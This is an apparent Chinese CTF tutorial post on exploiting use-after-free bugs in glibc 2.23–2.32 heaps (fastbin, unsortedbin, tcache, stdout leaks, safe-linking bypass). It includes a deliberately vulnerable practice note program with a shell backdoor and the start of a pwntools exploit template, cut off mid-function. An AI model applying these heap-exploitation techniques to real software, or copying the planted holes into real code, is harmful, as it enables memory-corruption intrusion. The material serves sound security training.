-
-
[原创]新人PWN堆Heap总结UAF专场(二)
-
发表于: 2021-9-1 00:13 23562
-
磕磕绊绊地写了这篇文章,水平比较差,希望各位师傅斧正。
一般来说UAF都是比较好利用的,尤其是在有tcache的版本下,2.32之前,没有对fd做任何检查,也没有对size做任何检查,那么直接改fd就能想申请哪儿就申请哪儿。但是这里就面临地址的问题,所以高版本下的UAF常常不会给你Show函数,通常结合FSOP来爆破泄露地址。而低版本的,没有tcache的时候,不给show函数会更加困难,因为fastbin attack会检查size位,通常还需要伪造。
这里就2.23~2.32版本的UAF做个总结利用,各个条件的缩减。
▲首先给出自己为了方便调试写的题和对应的exp,存在UAF,堆溢出,后门,malloc和calloc切换等多个漏洞,但是去除了Double free参考note题目:
对应exp设置:
众所周知,pwn的Glibc环境向来是一个难解题,很多大佬在编译不同版本的Glibc都很头疼,一个不注意就容易出错。像Github上的glibc-all-in-one
搭配patchelf
glibc-all-in-one
:matrix1001/glibc-all-in-one: A convenient glibc binary and debug file downloader and source code auto builder (github.com)
对于新手来说搞个虚拟机编译环境一个包没装好就容易挂掉,然后就GG,这实在是很浪费生命的一件事情。而patchelf
其实有时候也不太顶用,还有Docker
里的
pwnDocker
:skysider/pwndocker - Docker Image | Docker Hub
其实有时候也感觉不太好用,而且需要依靠作者更新,自己编译也容易出错。但是这倒是激发了我一个想法,为每个Libc版本搭建个docker容器,然后通过映射关系将题目映射进容器中,相当于只需要容器中的libc环境,这样就不需要考虑这些东西了。
经过大量测试,自己写了一个小项目,适合所有Libc版本,只要docker hub中有对应libc版本的ubuntu容器,该容器对应的apt源还有在更新,就能用,跟自己本身环境没啥关系。实测所有版本都行,一键搭建,一键使用:
Github:PIG-007/pwnDockerAll (github.com)
Gitee:PIG-007/pwnDockerAll (gitee.com)
详情看项目里。
这种情况直接free进unsortedbin泄露地址,然后打fastbin attack,借助0x7f字节错位劫持malloc_hook即可,没啥技术含量。这里再说一些,其实0x56也是可以的,可以借助unsortedbin attack将堆地址写到一个地方然后字节错位也是可以的。
0x7f:0111 1111
0x56:0101 0110
主要看的是AM位,加粗的两位,不能刚好是10,检测:
(1)是否属于当前线程的main_arena
(2)是否是mmap出来的chunk的检测
所以按照道理来讲,尾数为4 5 c d四个系列不能通过检测,其他都可以的。而对于堆地址的随机性,0x56和0x55都是可能的,所以也不一定成功,同样需要爆破。
需要注意的是这里由于覆写了_IO_wide_data部分数据,有些数据可能打印不出来,直接一股脑发送信息申请堆块即可。至于one_gadget没办法用的,参照realloc_hook调整栈帧。
▲比如说size限制不能申请0x70大小的堆块,那么就没办法字节错位申请malloc_hook的地方。一般来说有以下几种情况:
(1)只能是小Chunk,即0x20~0x80:
泄露heap地址,修改FD,指向上一个chunk来修改size,释放进入unsortedbin后泄露得到libc地址,之后再借用0x7f的UAF字节错位申请即可到malloc_hook即可。
(2)只能是中等的chunk,大于fatsbin小于largebin的,即0x90~0x3f0。
泄露地址后,直接用unsortedbin attack,修改global_max_fast,然后利用fastbinY链在main_arean上留下size,申请过去修改top_chunk为malloc_hook-0x10或者malloc_hook-0x28,修复unsortedbin之后即可任意修改。
这里就利用realloc调整了一下栈帧
(3)只能是大chunk,即0x400~...
泄露地址后,直接用unsortedbin attack,修改global_max_fast,之后利用fastbinY机制可在free_hook附近伪造堆size,然后申请过去修改free_hook为system,释放堆块即可。
(4)只能是某个特定大小的chunk,比如只能是0x40,0x60,一般不会只能是一个大小的,不然基本无法利用。
泄露地址heap地址后,修改size位进入unsortedbin中,再泄露libc地址。由于无法0x56和0x7f字节错位利用,所以只能利用一个size的bin,释放之后在fastbinY中留下size,然后另一个size申请过去,修改top_chunk到malloc_hook处即可,之后类似。
详情参照CISCN东北赛区复现中的题目small_chunk。
▲无Leak通常需要爆破,同样用unsortedbin attack部分写unsortedbin中chunk的bk指针,修改global_max_fast,之后利用fastbinY机制劫持_IO_2_1stdout结构体,泄露出地址,然后就和之前一样,再利用fastbinY机制劫持free_hook即可。
▲通常需要注意的是,write_base和write_end不能相距太远,不然很容易数据量过大而崩溃。还有这里最后泄露地址是
libc_base = u64Leakbase(libc.sym['_IO_2_1stdout']+131)
这是因为IO流的机制,会在写入数据的0x10处上写下libc.sym['_IO_2_1stdout']+131的地址,所以这里直接就能泄露。
▲题外话:爆破的数学期望为1/256
▲同样size做限制一般也分为以下几种
(1)只能是小Chunk,即0x20~0x80:
这个也是一样的,利用UAF部分写入heap_addr制造堆块重叠,修改size域,放入unsortedbin,然后部分写入libc_addr打unsortedbin attack修改global_max_fast,之后就类似了,劫持_IO_2_1_stdout泄露地址,fastbinY机制劫持main_arena,修复unsortedbin后改top_chunk劫持malloc_hook即可。
(2)只能是中等的chunk,大于fatsbin小于largebin的,即0x90~0x3f0。
类似,部分写修改size域打unsortedbin attack,修改global_max_fast,劫持_IO_2_1_stdout泄露地址。fastbinY机制劫持free_hook。
(3)只能是大chunk,即0x400~...
直接用部分写libc_addr打unsortedbin attack,修改global_max_fast,劫持_IO_2_1_stdout泄露地址,之后利用fastbinY机制可在free_hook附近伪造堆size,然后申请过去修改free_hook为system,释放堆块即可。
(4)指定的chunk size。
▲其实对于UAF来说,size做没做限制都差不了太多,因为都可以部分写堆块地址制造堆重叠,然后就能修改size域,唯一区分的就是申请时候的限制,小的就打top_chunk,大的就直接打_free_hook。比较有意思的一点就是限制特定size,一般限制为两个,以前遇到0x20和0x30,也有0x40和0x50的,都是大同小异,借用fastbinY机制留下size后申请过去即可。
UAF在这个版本下对于tcache实在是好用,由于tcache不检查size位,也不检查FD,只要泄露了地址,加上UAF就能实现任意申请。而对于无show功能的,既可以借助unsortedbin踩下地址后爆破直接申请,也可以unsortedbin attack劫持global_fast_max之后再劫持IO_2_1_stdout结构泄露地址。
需要注意的一点是,由于加入了tcache的stahing机制,所以在从fastbin中申请时会有一个判断:
(这个在2.26开始就存在的,只不过可能代码不太一样,所以有tcache的地方,fastbin修改fd从而在main_arena上留下fd的功能就无法使用了)
由于tcache的stashing机制,如果从fastbin中取chunk,那么如果该大小的fastbin链中还有其他chunk,则会尝试将该大小的fastbin链中剩余的chunk都放入对应大小的tcache中,那么就会出现如上的对fastbin中的fd进行取出检查,这里我设置了fastbin中Chunk的fd为0x71,即rdx的值,导致出错。
这个代码以及汇编赋值,使得[rdx+0x10],即取0x71的fd指针,那肯定会出错。同样的,如果修改fastbin中chunk的fd也不再是简单地伪造size了,还需要考虑对应FD的fd指针有效性。
虽然FD不能留下伪造地址,但是可以释放一个chunk进入fastbin,将main_arena.have_fastchunks置1,之后利用main_arena.have_fastchunks留下的0x1在上面来申请0x100的字节错位,但是这个需要先修改global_max_fast才能申请0x100的fastbinChunk。
此外,借用爆破chunk地址,将top_chunk的0x56当作合法size也是可以的。
但是其实也没差,既然有tcache,那我还用fastbin申请干啥,直接tcache获得地址之后任意申请不就完了,除非全是calloc,但这种情况其实还有更方便的解法,即house of banana
。所以要是碰到2.27版本的,简直就是烧高香了。
现今版本,2020年09月10日开始,从2.27-3ubuntu1.3开始,就已经对tcache做了部分修改,很接近2.29的,而现在的题目基本都是基于这种增强型版本的,已经不存在double free了。
Glibc 2.27关于Tcache的增强保护 - 安全客,安全资讯平台 (anquanke.com)
新增如下:
同样的对应tcache_put会加入key字段,tcache_get中会清除key字段,_int_free函数会根据key字段判断double free。
这里讲个小技巧,如果发现题目的libc.so版本在2.27-3ubuntu1.3之下,那么就没有key字段,存在无限制的double free,直接搞定。而常规的2.28版本其实也还存在double free,查看_int_free相关源码即可发现。
具体利用和绕过后面讲。
这个没发现有啥用,传统的只有2.30开始才用到了这个,低版本连定义都没有,除了这个增强型的2.27
这就很迷惑,通常定义的tcache_count是7,而这里却要求小于MAX_TCACHE_COUNT(127),是因为GNU的其他功能可能会改变tcache的结构吗,比如将tcache_count修改为127,扩大tcache来使用吗,等待大佬发现漏洞。
另外该文章中还说了realloc对应memcpy的使用修改,感觉没啥用。
总的来说,其实就相当于将2.27的tcache增强成了2.29,其他的到没啥变化。
这个版本下的unsortedbin attck已经失效,原因是新增如下检查:
①下一个chunk的size是否在合理区间
②下一个chunk的prevsize是否等于victim的size
③检查unsortedbin双向链表的完整性
④下一个chunk的previnuse标志位是否为0
其实最要命的是检查双向链表的完整性,还得在目的地址的fd伪造victim,都能伪造地址了还用这,所以直接废弃。Tcache_Stashing_Unlink_Attack来类似代替unsortedbin attack,不过Tcache_Stashing_Unlink_Attack一般需要用到calloc,如果有UAF泄露地址的话倒是不太需要。
新增检查:
即size需要小于等于system_mems = 0x21000。之前由top_chunk引发的一系列漏洞,类似House of orange,
House of Force以及之前提到的修改top_chunk到malloc_hook附近等,都不太行了。
新增检查:
即会判断找到的之前为Free状态的chunk和当前要释放chunk的prevsize是否相等
这个对于UAF方面来说没啥影响,因为UAF本身就基本直接造成堆块重叠,而unlink通常就是结合off-by-null来制造堆块重叠的。off-by-null和off-by-one之后开一个专门的来讨论。
即会在释放chunk的bk处加入key字段,一般为heap_base+0x10,即当前线程的tcache struct的地方。释放时赋值,申请回来时置零。
重点是这里if (__glibc_unlikely (e->key == tcache)),即针对之前tcache dup做的限制,检查要释放chunk的key字段,如果等于tcache结构体地址,则遍历对于的tcache中的chunk是否和该chunk为同一个chunk,是则报错。这个好绕过,通常可以利用漏洞改掉tcache中对于chunk的bk指针即可。由于unsortedbin attack失效,而Tcache_Stashing_Unlink_Attack通常还需要结合堆溢出,UAF之类的漏洞,所以常常可以配合largebin attack来进行攻击tcache dup。
▲还有一点需要注意的是,有的2.27版本已经引入了2.29中的一些机制,刚刚提到的,比如key字段之类的,具体做题具体分析。
参考:glibc-2.29新增的保护机制学习总结 - 安全客,安全资讯平台 (anquanke.com)
Tcache stash unlink attack,很多师傅分析这个漏洞都是在2.29下开始分析,但实际上从最开始引入2.26的tcache就已经有了,只不过可能是之前的unsortedbin attack太好用,就没开发出来这个漏洞。
可以看到几乎是一样的,只有一两处:
A.2.26判断了smallbin是否为空,为空则会调用malloc_consolidate进行初始化,但是从2.27开始就没有了。这个在针对malloc_consolidate进行攻击的时候可能会用到。
B.错误打印方式不同:
这个在针对malloc_printerr也可能会用到
而这种攻击主要是针对smallbin攻击的。
但也有一种针对fastbin攻击的:
Tcache Stashing Unlink Attack利用思路 - 安全客,安全资讯平台 (anquanke.com)
这个后面再讨论下。
这个没啥好说的,直接泄露地址之后任意申请就完了。
结合之前的,小Chunk就修改size,可以放入unsortedbin就填满Tcache之后放入泄露地址后任意申请即可。
一般很多tcache的题都会对size做限制,但是其实对于tcache的UAF来说,没啥大用,都能绕过,像我下面对于0x4f8的chunk就可以利用修改size来伪造,和之前基本一致。
由于tcache没什么限制,我们可以利用unsortedbin踩下地址后,对应修改fd即可实现爆破申请_IO_2_1_stdout结构体,修改flag和部分字节写write_base,write_end来泄露地址,然后就可以任意申请了。
当然这种解法有点没效率,因为需要同时爆破Libc和heap的各半个字节,总共一个字节,总的来说数学期望为1/256。但是观察上面我们可以看到由于tcache机制,同处于0x100一个内存页下的Chunk前面的都一样,不用爆破,那么只需要修改最后一个字节即可完成tcache链表的修改,这样爆破的期望就下降到了半个字节,数学期望1/16,明显提升了很大效率,比赛时直冲一血,嘿嘿:
▲爆破题外话:之前没怎么发现,这里发现PIE+ASLR出来的Libc地址开头可能是0x7e,而且中间也有可能会出现\x00的情况,这样就很容易使得我们爆破的次数直线上涨,所以在调试好了之后,爆破会加入
来简单对抗这两种变化,防止爆破中断。
一般很多tcache的题都会对size做限制,要么小,要么大。但是其实对于tcache的UAF来说,没啥大用,都能绕过,不像fastbin一样,需要在目的地址伪造size。所以这里基本上修改一下size都可以得到对应解法,这种题目更多应该是考察堆布局的能力。需要有一个对于所有chunk进行布局的能力,最好准备草稿纸写写画画(excel也行).....
从2.30开始将从unsortebin放入largebin的代码中在size比较的其中一个分支新增检查:
即当发生从unsortedbin中转移到largbin中时,如果unsortedbin中要转移的chunk的size大于largebin中原本就有的尾部chunk的size,就会触发新增的检查。否则,则不会触发新增的检查。
而新增检查的意思其实就是检查双向链表的完整性,这和之前unsortedbin失效加入的检查如出一辙。
但是由于当size小于的时候没有检查,所以largebin attack还是可以用的,只要unsortedbin中要放入largebin中的chunk的size小于largebin中chunk的size即可,但是这里的largebin attack已经被降级,相比之前的两个地址任意写,限制只能写一个地址了。
之前版本的tcache中count一直是一个字节,这回从2.30开始就变成了两个字节:
所以tcache的结构体也从0x250扩大为0x290
在2.30版本及之后,删除了一些有关tcache的assert
以前就想着是不是能像控fastbinY溢出一样来控tcache溢出呢,但在2.29及以前肯定是不行的,因为有assert存在。就算修改了mp_.tcache_bins,成功进入tcache_put也会因为assert(tc_idx<TCACHE_MAX_BINS)的断言使得程序退出。
但是新版本删去了这个操作,那么如果我们能够修改mp_.tcache_bins,就将能够调用tcache_put函数,将tcache结构体往后溢出,就像修改global_max_fast一样,实在是有点逗,不知道为什么新版本要删掉,这个就引入了一种新的方法:glibc 2.27-2.32版本下Tcache Struct的溢出利用 - 安全客,安全资讯平台 (anquanke.com)。这个我个人还是觉得这位师傅讲的还是有点出入,因为是2.30才删去的,2.29及以前是不存在这种方法的,包括用2.29调试也是的。
从2.30开始在_libc_malloc
中准备从tcache中申请时,会判断counts[tc_idx]
是否大于0,不大于0则不会从tcache中申请。所以有时候我们使用直接修改fd的办法需要考虑到数量是否会被清0。但是在_int_free
中却没有新增类似的检查。
这里也不需要多讲,放入unsortedbin后直接泄露地址之后任意申请就完了。
结合之前的,小Chunk就修改size,可以放入unsortedbin的就填满Tcache之后放入泄露地址后任意申请即可。
其实和2.29差不多,只是失效了一些手段,比如传统的largebin attack失效。而之前在2.29中讲到的相关方法其实也一样可以直接用上。爆破_IO_2_1_stdout泄露地址,之后任意申请修改__free_hook即可。
同样还是需要通过堆布局来修改size,制造unsortedbin chunk。
即将传入的pos右移12bit后和ptr异或。
再加上其他
等多多少少用到tcache和fastbin的地方。而unsortebin、largebin、smallbin都不会进行相关指针异或。
官方说的是
基于ASLR之后的堆地址,即Key值为第一个进入该大小TcacheBin链的chunk的地址右移12bit得到,对于Fastbin也是一样的。
虽说FD被加密,但是由于是异或的关系,在UAF的特殊条件下其实是可以控制FD指向其他堆块的。
比如说我们进行一定的堆布局,尝试将堆块集中在0x100内,然后可以爆破1个字节来进行计算:
这里就chunk4->chunk3->chunk2->chunk1。
这里就假设我们爆破1字节后已经知道了heapbase/0x1000左移12bit的最后一个字节为0x59。现在进行计算一下,如果我们想把chunk4的FD指向chunk1在没有Leak的情况下应该怎么修改?
计算0x10^0x59=0x49,所以如果我们利用UAF部分写chunk4的FD的第一个字节为0x49,那么实际上其实指向的就是chunk1。这个在没有泄露地址而Size又做限制导致只能用Fastbin和Tcache时,可以采用这种方法爆破。所以实际上的期望应该是1/256,这个尝试一下应该就可以实现的。
可以看到在tcache_get中新增了一个检查
这个导致了我们的tcache不能任意申请了,必须是0x10对齐的,这个可能会导致不少的手段变化。
即当程序退出,释放tcache结构体时会加入对tcache中所有chunk进行地址对齐检查,但是这个对exit()的攻击没什么影响。
当tcache进行Free的double free检查时,如果tcache中第一个bin的chunk地址不对齐,也会错误。其实最开始不太理解,想这能有啥用,最开始Free的时候不就已经进行地址对齐检查了吗。后面想到由于stashing机制,可能会将地址不合法的Chunk放入到tcache中,所以再进行对应Bin大小的chunk释放时,进行检查提高安全性吧。这个我们在利用的时候也需要注意下,别到时候得到了用Stashing机制放入一个不合法chunk之后再free导致程序出错了。
想感叹一下,在2.31及以下版本,只有在_int_free函数中才有一个地址对齐检查,这2.32突然加了好几个,真是挺猛的。
这个如上图中就可以直接leak出chunk1的内容得到key,然后释放unsortedbin chunk泄露libc地址后,利用key异或对应地址即可任意申请。
一样的,Leak出key之后,修改size得到unsortedbin chunk之后泄露libc地址,异或改掉FD任意申请chunk。
这条件下的想半天实在没想出来,爆破两个字节倒是可以申请到Tcache结构体,但是两个字节的期望却达到了0xffff=65535,实际的线上CTF中可能爆出来黄花菜都凉了。
▲爆破两字节申请Tcache Struct:
比如我们先爆破一个字节,使得heapbase的地址为0xabcde5500000
然后我们按照上述方法,用一定堆布局,计算一下地址
异或之后的地址应该为:
那么就可以直接该指向chunk1地址的最后两个字节为5500即可指向Tcache结构体,然后释放进入unsortedbin踩下libc地址再爆破申请stdout泄露地址,这样又会出来半个字节爆破空间。即0xfffff=1048575,直接GG。
▲size做限制其实没差别,可以爆破一个字节来修改的。
这次总结堆利用方法让我也学到了好多,翻了好多源码,很多以前不明所以的东西翻了相关源码之后感觉一下子就清楚了。
这篇文章持续更新,以后再发现有意思的地方再回来更新。
当然,UAF其实是特别好利用的一种,高版本下也对应有很多的骚操作,比如
house of pig
:house of pig一个新的堆利用详解 - 安全客,安全资讯平台 (anquanke.com)
house of banana
:house of banana - 安全客,安全资讯平台 (anquanke.com)
等等现在大多的题目都是off by null + 堆布局,尤其是堆布局这一块,实在是无比考验对堆的理解,因为万一其中哪个地方想错,直接就得推倒重来。
后面找时间再总结下off by null吧。
/
/
gcc
-
ggdb note.c
-
o note
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char
*
notelist[
1000
];
int
*
freelist[
1000
];
int
count
=
0
;
void backdoor() {
puts(
"You hacked me!!"
);
system(
"/bin/sh"
);
}
void malloc_add_note(){
int
i
=
count;
char buf[
8
];
int
size;
char
*
chunk;
printf(
"Note size :"
);
read(
0
, buf,
8
);
size
=
atoi(buf);
chunk
=
(char
*
)malloc(size);
if
(!chunk)
{
puts(
"Alloca Error"
);
exit(
-
1
);
}
printf(
"Content :"
);
read(
0
, chunk, size);
puts(
"Success!"
);
notelist[i]
=
chunk;
count
+
+
;
}
void calloc_add_note(){
int
i
=
count;
char buf[
8
];
int
size;
char
*
chunk;
printf(
"Note size :"
);
read(
0
, buf,
8
);
size
=
atoi(buf);
chunk
=
(char
*
)calloc(
0x1
,size);
if
(!chunk)
{
puts(
"Alloca Error"
);
exit(
-
1
);
}
printf(
"Content :"
);
read(
0
, chunk, size);
puts(
"Success!"
);
notelist[i]
=
chunk;
count
+
+
;
}
void del_note()
{
char buf[
4
];
int
idx;
printf(
"Index :"
);
read(
0
, buf,
4
);
idx
=
atoi(buf);
if
(idx <
0
|| idx >
=
count)
{
puts(
"Out of bound!"
);
return
;
}
if
(notelist[idx] && (freelist[idx] !
=
idx))
{
free(notelist[idx]);
freelist[idx]
=
idx;
puts(
"Success!"
);
return
;
}
else
{
puts(
"Can not double free!"
);
return
;
}
}
void print_note()
{
char buf[
4
];
int
idx;
printf(
"Index :"
);
read(
0
, buf,
4
);
idx
=
atoi(buf);
if
(idx <
0
|| idx >
=
count)
{
puts(
"Out of bound!"
);
return
;
}
if
(notelist[idx])
{
puts(notelist[idx]);
return
;
}
}
void edit_note()
{
char buf[
8
];
int
idx;
int
size;
printf(
"Index :"
);
read(
0
, buf,
4
);
idx
=
atoi(buf);
if
(idx <
0
|| idx >
=
count)
{
puts(
"Out of bound!"
);
return
;
}
printf(
"Size :"
);
read(
0
, buf,
8
);
size
=
atoi(buf);
if
(notelist[idx])
{
printf(
"Content :"
);
read(
0
, notelist[idx], size);
puts(
"Success!"
);
return
;
}
}
void menu() {
puts(
"----------------------"
);
puts(
" MY NOTE "
);
puts(
"----------------------"
);
puts(
" 1. Malloc Add note "
);
puts(
" 2. Delete note "
);
puts(
" 3. Print note "
);
puts(
" 4. Edit note "
);
puts(
" 5. Calloc Add note "
);
puts(
" 6. Exit "
);
puts(
"--------Author:PIG-007"
);
printf(
"Your choice :"
);
};
int
main() {
setvbuf(stdout,
0
,
2
,
0
);
setvbuf(stdin,
0
,
2
,
0
);
freelist[
0
]
=
1001
;
char
*
heap_leak
=
(char
*
)(malloc(
0x438
));
printf(
"Gift_Heap:%p\n"
,heap_leak);
char
*
libc_leak
=
(char
*
)&printf;
printf(
"Gift_Libc:%p\n"
,libc_leak);
char
*
elf_leak
=
(char
*
)&main;
printf(
"Gift_elf:%p\n"
,elf_leak);
free(heap_leak);
heap_leak
=
NULL;
libc_leak
=
NULL;
elf_leak
=
NULL;
char buf[
4
];
while
(
1
) {
menu();
read(
0
, buf,
4
);
switch(atoi(buf))
{
case
1
:
malloc_add_note();
break
;
case
2
:
del_note();
break
;
case
3
:
print_note();
break
;
case
4
:
edit_note();
break
;
case
5
:
calloc_add_note();
break
;
case
6
:
exit(
0
);
break
;
default:
puts(
"Invalid choice!"
);
break
;
}
}
return
0
;
}
/
/
gcc
-
ggdb note.c
-
o note
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char
*
notelist[
1000
];
int
*
freelist[
1000
];
int
count
=
0
;
void backdoor() {
puts(
"You hacked me!!"
);
system(
"/bin/sh"
);
}
void malloc_add_note(){
int
i
=
count;
char buf[
8
];
int
size;
char
*
chunk;
printf(
"Note size :"
);
read(
0
, buf,
8
);
size
=
atoi(buf);
chunk
=
(char
*
)malloc(size);
if
(!chunk)
{
puts(
"Alloca Error"
);
exit(
-
1
);
}
printf(
"Content :"
);
read(
0
, chunk, size);
puts(
"Success!"
);
notelist[i]
=
chunk;
count
+
+
;
}
void calloc_add_note(){
int
i
=
count;
char buf[
8
];
int
size;
char
*
chunk;
printf(
"Note size :"
);
read(
0
, buf,
8
);
size
=
atoi(buf);
chunk
=
(char
*
)calloc(
0x1
,size);
if
(!chunk)
{
puts(
"Alloca Error"
);
exit(
-
1
);
}
printf(
"Content :"
);
read(
0
, chunk, size);
puts(
"Success!"
);
notelist[i]
=
chunk;
count
+
+
;
}
void del_note()
{
char buf[
4
];
int
idx;
printf(
"Index :"
);
read(
0
, buf,
4
);
idx
=
atoi(buf);
if
(idx <
0
|| idx >
=
count)
{
puts(
"Out of bound!"
);
return
;
}
if
(notelist[idx] && (freelist[idx] !
=
idx))
{
free(notelist[idx]);
freelist[idx]
=
idx;
puts(
"Success!"
);
return
;
}
else
{
puts(
"Can not double free!"
);
return
;
}
}
void print_note()
{
char buf[
4
];
int
idx;
printf(
"Index :"
);
read(
0
, buf,
4
);
idx
=
atoi(buf);
if
(idx <
0
|| idx >
=
count)
{
puts(
"Out of bound!"
);
return
;
}
if
(notelist[idx])
{
puts(notelist[idx]);
return
;
}
}
void edit_note()
{
char buf[
8
];
int
idx;
int
size;
printf(
"Index :"
);
read(
0
, buf,
4
);
idx
=
atoi(buf);
if
(idx <
0
|| idx >
=
count)
{
puts(
"Out of bound!"
);
return
;
}
printf(
"Size :"
);
read(
0
, buf,
8
);
size
=
atoi(buf);
if
(notelist[idx])
{
printf(
"Content :"
);
read(
0
, notelist[idx], size);
puts(
"Success!"
);
return
;
}
}
void menu() {
puts(
"----------------------"
);
puts(
" MY NOTE "
);
puts(
"----------------------"
);
puts(
" 1. Malloc Add note "
);
puts(
" 2. Delete note "
);
puts(
" 3. Print note "
);
puts(
" 4. Edit note "
);
puts(
" 5. Calloc Add note "
);
puts(
" 6. Exit "
);
puts(
"--------Author:PIG-007"
);
printf(
"Your choice :"
);
};
int
main() {
setvbuf(stdout,
0
,
2
,
0
);
setvbuf(stdin,
0
,
2
,
0
);
freelist[
0
]
=
1001
;
char
*
heap_leak
=
(char
*
)(malloc(
0x438
));
printf(
"Gift_Heap:%p\n"
,heap_leak);
char
*
libc_leak
=
(char
*
)&printf;
printf(
"Gift_Libc:%p\n"
,libc_leak);
char
*
elf_leak
=
(char
*
)&main;
printf(
"Gift_elf:%p\n"
,elf_leak);
free(heap_leak);
heap_leak
=
NULL;
libc_leak
=
NULL;
elf_leak
=
NULL;
char buf[
4
];
while
(
1
) {
menu();
read(
0
, buf,
4
);
switch(atoi(buf))
{
case
1
:
malloc_add_note();
break
;
case
2
:
del_note();
break
;
case
3
:
print_note();
break
;
case
4
:
edit_note();
break
;
case
5
:
calloc_add_note();
break
;
case
6
:
exit(
0
);
break
;
default:
puts(
"Invalid choice!"
);
break
;
}
}
return
0
;
}
# -*- coding:UTF-8 -*-
from
pwn
import
*
#from LibcSearcher import *
import
commands
#context.log_level = 'debug'
#context
context.arch
=
'amd64'
context.timeout
=
0.5
SigreturnFrame(kernel
=
'amd64'
)
binary
=
"./note"
context.binary
=
binary
libc
=
ELF(context.binary.libc.path)
elf
=
ELF(binary)
largeBinIdx
=
1096
unsortedBinIdx
=
88
local
=
1
if
local:
p
=
process(binary)
#p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './hello'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})
else
:
p
=
remote(
"node3.buuoj.cn"
,
"49153"
)
elf
=
ELF(binary)
libc
=
ELF(libc_file)
sd
=
lambda
s:p.send(s)
sl
=
lambda
s:p.sendline(s)
rc
=
lambda
s:p.recv(s)
ru
=
lambda
s:p.recvuntil(s)
rl
=
lambda
:p.recvline()
sa
=
lambda
a,s:p.sendafter(a,s)
sla
=
lambda
a,s:p.sendlineafter(a,s)
uu32
=
lambda
data :u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
u64Leakbase
=
lambda
offset :u64(ru(
"\x7f"
)[
-
6
: ]
+
'\0\0'
)
-
offset
u32Leakbase
=
lambda
offset :u32(ru(
"\xf7"
)[
-
4
: ])
-
offset
it
=
lambda
:p.interactive()
def
dockerDbg():
myGdb
=
remote(
"127.0.0.1"
,
30001
)
myGdb.close()
pause()
def
dbg():
gdb.attach(p)
pause()
def
lg(string,addr):
print
(
'\033[1;31;40m%20s-->0x%x\033[0m'
%
(string,addr))
def
add_malloc(size,content):
p.sendlineafter(
"Your choice :"
,
'1'
)
p.sendlineafter(
'Note size :'
,
str
(size))
p.sendafter(
'Content :'
,content)
def
free(idx):
p.sendlineafter(
"Your choice :"
,
'2'
)
p.sendlineafter(
'Index :'
,
str
(idx))
def
show(idx):
p.sendlineafter(
"Your choice :"
,
'3'
)
p.sendlineafter(
'Index :'
,
str
(idx))
def
edit(idx,size,content):
p.sendlineafter(
"Your choice :"
,
'4'
)
p.sendlineafter(
'Index :'
,
str
(idx))
p.sendlineafter(
'Size :'
,
str
(size))
p.sendafter(
'Content :'
,content)
def
add_calloc(size,content):
p.sendlineafter(
"Your choice :"
,
'5'
)
p.sendlineafter(
'Note size :'
,
str
(size))
p.sendafter(
'Content :'
,content)
def
exit():
p.sendlineafter(
"Your choice :"
,
'6'
)
def
edit_m(idx,size,content):
sleep(
0.01
)
p.sendline(
'4'
)
sleep(
0.01
)
p.sendline(
str
(idx))
sleep(
0.01
)
p.sendline(
str
(size))
sleep(
0.01
)
p.send(content)
sleep(
0.01
)
def
free_m(idx):
sleep(
0.01
)
p.sendline(
'2'
)
sleep(
0.01
)
p.sendline(
str
(idx))
sleep(
0.01
)
def
add_malloc_m(size,content):
sleep(
0.01
)
p.sendline(
'1'
)
sleep(
0.01
)
p.sendline(
str
(size))
sleep(
0.01
)
p.send(content)
sleep(
0.01
)
def
tcacheDelete(idx):
for
i
in
range
(
7
):
free(i
+
idx)
def
tcacheMalloc(size):
for
i
in
range
(
7
):
add_malloc(size,
'\x00'
)
def
leak_heap():
global
largeBinIdx
global
unsortedBinIdx
ru(
"Gift_Heap:0x"
)
LeakHeap
=
int
(rc(
12
),
16
)
log.info(
"LeakHeap:0x%x"
%
LeakHeap)
path
=
libc.path
#version = ["2.23","2.27","2.29","2.31","2.32","2.33"]
if
(
"2.23"
in
path):
heap_base
=
LeakHeap
-
0x10
elif
(
"2.24"
in
path):
heap_base
=
LeakHeap
-
0x10
elif
(
"2.25"
in
path):
heap_base
=
LeakHeap
-
0x10
elif
(
"2.26"
in
path):
heap_base
=
LeakHeap
-
0x250
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.27"
in
path):
heap_base
=
LeakHeap
-
0x250
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.28"
in
path):
heap_base
=
LeakHeap
-
0x250
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.29"
in
path):
heap_base
=
LeakHeap
-
0x250
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.30"
in
path):
heap_base
=
LeakHeap
-
0x290
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.31"
in
path):
heap_base
=
LeakHeap
-
0x290
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.32"
in
path):
heap_base
=
LeakHeap
-
0x290
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
elif
(
"2.33"
in
path):
heap_base
=
LeakHeap
-
0x290
-
0x10
largeBinIdx
=
1104
unsortedBinIdx
=
96
else
:
print
(
"Version Wrong!"
)
quit()
return
heap_base
def
leak_elf():
ru(
"Gift_elf:0x"
)
Leak
=
int
(rc(
12
),
16
)
log.info(
"LeakElf:0x%x"
%
Leak)
return
Leak
def
leak_libc():
ru(
"Gift_Libc:0x"
)
Leak
=
int
(rc(
12
),
16
)
log.info(
"LeakLibc:0x%x"
%
Leak)
return
Leak
def
getMain_arena(libc_base):
return
libc_base
+
libc.sym[
'__malloc_hook'
]
+
0x10
def
getOnegadget():
originStr
=
commands.getstatusoutput(
'one_gadget '
+
context.binary.libc.path)[
1
]
print
originStr
one_gadget
=
[]
lstKey
=
[]
lengthKey
=
0
key
=
'execve'
countStr
=
originStr.count(key)
if
countStr <
1
:
print
(
'No one_gadget'
)
elif
countStr
=
=
1
:
#only one one_gadget
indexKey
=
originStr.find(key)
one_gadget.append(
int
(originStr[indexKey
-
8
:indexKey
-
1
],
16
))
return
one_gadget
else
:
#multiple one_gadgey
indexKey
=
originStr.find(key)
lstKey.append(indexKey)
while
countStr >
1
:
str_new
=
originStr[indexKey
+
1
:
len
(originStr)
+
1
]
indexKey_new
=
str_new.find(key)
indexKey
=
indexKey
+
1
+
